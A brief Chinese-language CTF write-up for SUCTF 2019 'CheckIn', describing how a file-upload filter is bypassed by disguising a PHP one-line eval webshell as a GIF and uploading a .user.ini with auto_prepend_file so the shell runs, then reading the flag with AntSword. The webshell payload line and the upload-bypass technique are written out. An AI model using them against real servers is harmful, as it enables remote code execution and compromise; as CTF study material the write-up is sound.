[SUCTF 2019]CheckIn1

黑名单过滤后缀'ph',并且白名单image类型要有对应文件头

对<?过滤,改用GIF89a<script language='php'>@eval($_POST['cmd']);</script>,成功把getshell.gif上传上去了

尝试用.htaccess将上传的gif当作php解析,但是失败了

根据这篇文章.user.ini文件构成的PHP后门 - phith0n (wooyun.js.org)

上传.user.ini使用auto_prepend_file=<specific_file>将指定文件包含到当前目录下的php文件前

可以看到getshell.gif的文件头已经显示出来了,说明成功包含getshell.gif,后面跟着的一句话木马自然可以运行

连接蚁剑找到flag

相关推荐
精神病不行计算机不上班1 天前
[Java Web]在IDEA中完整实现Servlet的示例
java·servlet·tomcat·html·intellij-idea·web
精神病不行计算机不上班1 天前
[Java Web]Java Servlet基础
java·前端·servlet·html·mvc·web·session
sg_knight1 天前
模块热替换 (HMR):前端开发的“魔法”与提速秘籍
前端·javascript·vue·浏览器·web·模块化·hmr
亿.62 天前
2025鹏城杯 Web
java·安全·web·ctf·鹏城杯
小肖爱笑不爱笑2 天前
2025/12/16 HTML CSS
java·开发语言·css·html·web
小白勇闯网安圈3 天前
upload、very_easy_sql、i-got-id-200
python·网络安全·web
0和1的舞者3 天前
SpringBoot配置文件
java·spring boot·后端·web·配置·spirng
捧 花4 天前
Go Web 中 WebSocket 原理与实战详解
网络·后端·websocket·网络协议·http·golang·web
曲幽4 天前
Flask路由入门指南:从基础定义到优先级与动态路由转换器
python·flask·web·route·path